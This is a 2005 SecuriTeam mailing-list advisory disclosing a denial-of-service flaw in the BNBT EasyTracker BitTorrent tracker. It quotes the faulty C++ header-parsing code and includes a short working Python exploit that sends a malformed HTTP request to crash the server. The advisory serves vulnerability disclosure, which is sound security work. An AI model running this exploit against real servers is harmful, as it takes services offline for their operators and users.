[NT] BNBT EasyTracker DoS

From: SecuriTeam (support_at_securiteam.com)
Date: 09/19/05

  • Next message: SecuriTeam: "[TOOL] Analyzer - PHP Security Prober" 
    To: list@securiteam.com
Date: 19 Sep 2005 10:29:39 +0200

    The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
    - - promotion

    The SecuriTeam alerts list - Free, Accurate, Independent.

    Get your security news from a reliable source.
    http://www.securiteam.com/mailinglist.html

    - - - - - - - - -

      BNBT EasyTracker DoS
    ------------------------------------------------------------------------

    SUMMARY

    "The <http://bnbteasytracker.sourceforge.net/> Trinity Edition of BNBT
    (TrinEdit) a modified version of BNBT, whose C++ source can be compiled
    for any operating system; BNBT EasyTracker a Windows Installer for The
    Trinity Edition of BNBT, a C++ BitTorrent Tracker."

    A Denial of Service vulnerability exists within BNBT which allows an
    attacker to cause the BNBT to stop responding.

    DETAILS

    Vulnerable Systems:
     * BNBT version 7.7r3.2004.10.27 and prior

    A specifically crafted HTTP request will cause the BNBT Server stop
    responding.

    By Sending a request such as "GET /index.htm HTTP/1.1\r\n:\r\n\r\n" will
    cause the DoS. It seems that the bug is located in client.cpp, "//grab
    headers" section.

    Code snips:
     client.cpp:
    // grab headers

    string :: size_type iNewLine = m_strReceiveBuf.find( "\r\n" );
    string :: size_type iDoubleNewLine = m_strReceiveBuf.find( "\r\n\r\n" );

    strTemp = m_strReceiveBuf.substr( iNewLine + strlen( "\r\n" ),
    iDoubleNewLine - iNewLine - strlen( "\r\n" ) );

    while( 1 )
    {
    string :: size_type iSplit = strTemp.find( ":" );
    string :: size_type iEnd = strTemp.find( "\r\n" );

    if( iSplit == string :: npos )
    {
    UTIL_LogPrint( "client warning - malformed HTTP request (bad header)\n" );

    break;
    }

    string strKey = strTemp.substr( 0, iSplit );
    string strValue = strTemp.substr( iSplit + strlen( ": " ), iEnd - iSplit -
    strlen( "\r\n" ) );//Bug here ??

    rqst.mapHeaders.insert( pair<string, string>( strKey, strValue ) );

    strTemp = strTemp.substr( iEnd + strlen( "\r\n" ) );

    if( iEnd == string :: npos )
    break;
    }

    Disclosure Timeline:
    2005.08.22 Vendor notified via Webform,no email found
    2005.08.30 Vendor no response. Advisory Released

    Exploit:
    //BNBTDOS.py
    # BNBT EasyTracker Remote D.O.S Exploit
    # Bug discoverd and coded by Sowhat
    # http://secway.org

    # Version 7.7r3.2004.10.27 and below
    # the BNBT project: http://bnbteasytracker.sourceforge.net/

    import sys
    import string
    import socket

    if (len(sys.argv) != 2):
    print "\nUsage: " + sys.argv[0] + " TargetIP\n"
    print "#################################"
    print "# #"
    print "# BNBT EasyTracker Remote D.O.S Exploit #"
    print "# Bug discoverd and coded by Sowhat #"
    print "# http://secway.org #"
    print "#################################"
    sys.exit(0)

    host = sys.argv[1]
    port = 6969

    payload = "GET /index.htm HTTP/1.1\r\n:\r\n\r\n"

    s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    s.connect((host,port))
    s.send(payload)

    #EoF

    ADDITIONAL INFORMATION

    The information has been provided by <mailto:smaillist@gmail.com> Sowhat.
    The original article can be found at:
    <http://secway.org/advisory/AD20050830.txt>
    http://secway.org/advisory/AD20050830.txt

    ========================================

    This bulletin is sent to members of the SecuriTeam mailing list.
    To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com
    In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

    ====================
    ====================

    DISCLAIMER:
    The information in this bulletin is provided "AS IS" without warranty of any kind.
    In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.

  • Next message: SecuriTeam: "[TOOL] Analyzer - PHP Security Prober"

    Relevant Pages